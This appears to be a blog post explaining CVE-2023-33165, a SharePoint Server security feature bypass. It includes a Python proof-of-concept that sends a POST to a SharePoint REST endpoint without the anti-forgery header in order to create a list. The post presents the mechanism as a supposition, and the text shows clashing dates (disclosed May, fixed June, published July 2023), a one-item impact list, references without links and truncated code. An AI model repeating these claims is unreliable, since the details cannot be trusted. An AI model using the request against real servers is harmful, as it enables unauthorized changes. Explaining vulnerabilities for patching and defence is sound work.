Microsoft SharePoint is one of the most commonly used collaboration and document management platforms in the world, making it a critical target for attackers. In May 2023, Microsoft disclosed CVE-2023-33165, a Security Feature Bypass vulnerability in SharePoint Server 2016 and 2019. This serious bug lets attackers get around key security protections and potentially escalate their access, opening the door to a host of abuses.

In this post, we’ll walk through a clear breakdown of how CVE-2023-33165 works, show a simplified proof-of-concept, and provide links to trusted resources. While details are kept clear and simple, this article assumes basic knowledge of web application security.

What is CVE-2023-33165?

CVE-2023-33165 is a Security Feature Bypass issue in SharePoint Server 2016 and 2019, fixed by Microsoft in the June 2023 Security Update.

What does it allow?

With the right conditions, an attacker can use this vulnerability to bypass crucial security features by sending specially crafted network requests. This can enable further exploitation, such as stealing cookies, credentials, or executing actions with escalated privileges.

How the Exploit Works

At its core, CVE-2023-33165 exists because SharePoint failed to properly validate certain requests. By manipulating HTTP headers and request payloads, attackers bypass checks designed to stop unauthorized access.

Let’s look at a basic example, adapted for learning purposes.

Example Scenario: Exploiting Security Checks via HTTP Headers

The most common target is the anti-forgery feature, which uses tokens or headers to verify requests. If SharePoint fails to check these correctly, attackers may bypass them.

> Disclaimer: This demonstration is for educational purposes only. Do not attempt to hack or test systems without permission.

Exploit Code Example (Python)

Suppose SharePoint expects a special header (X-RequestDigest) as a security measure. If CVE-2023-33165 allows bypassing this check, then submitting requests *without* that header can succeed.

import requests

sharepoint_url = "https://vulnerable-sharepoint.local/sites/test/_api/web/lists";
malicious_session = requests.Session()
malicious_session.verify = False  # For demo purposes - not recommended for production!

# Set the 'Accept' header like a proper SharePoint client
headers = {
    "Accept": "application/json;odata=verbose",
    "User-Agent": "ExploitDemo/1."
    # Intentionally omit 'X-RequestDigest' or other security headers
}

# Attempt to access or modify SharePoint data without valid anti-forgery tokens
response = malicious_session.post(
    sharepoint_url, 
    headers=headers, 
    json={"__metadata": {"type": "SP.List"}, "Title": "HackedList"}
)

print("HTTP Status:", response.status_code)
print("Response Body:", response.text)

What Should Normally Happen?

Normally, SharePoint will reject requests not containing the correct anti-forgery tokens or headers (like X-RequestDigest). With the bug, these checks can be bypassed!

- Microsoft CVE-2023-33165 Official Advisory
- NVD (National Vulnerability Database)
- Microsoft Security Update Details
- SharePoint Security Best Practices

Real-World Impact

If your organization runs an unpatched edition of SharePoint 2016 or 2019, an attacker inside or outside your network could:

Chain this attack with other bugs for full server takeover.

## How To Fix / Mitigate

Patch your SharePoint Server immediately using Microsoft’s official update guide.

Conclusion

CVE-2023-33165 is a serious vulnerability affecting widely used versions of Microsoft SharePoint Server. It demonstrates how small gaps in security validation can open the way for major attacks, even from users with low privileges.

Keep your systems up to date and audit your SharePoint installations!

Have questions, or want to learn more? Check the resources above or reach out to the security community!


*Written exclusively for your technical awareness. Stay safe and patch ahead!*

Timeline

Published on: 07/11/2023 18:15:00 UTC
Last modified on: 07/18/2023 21:18:00 UTC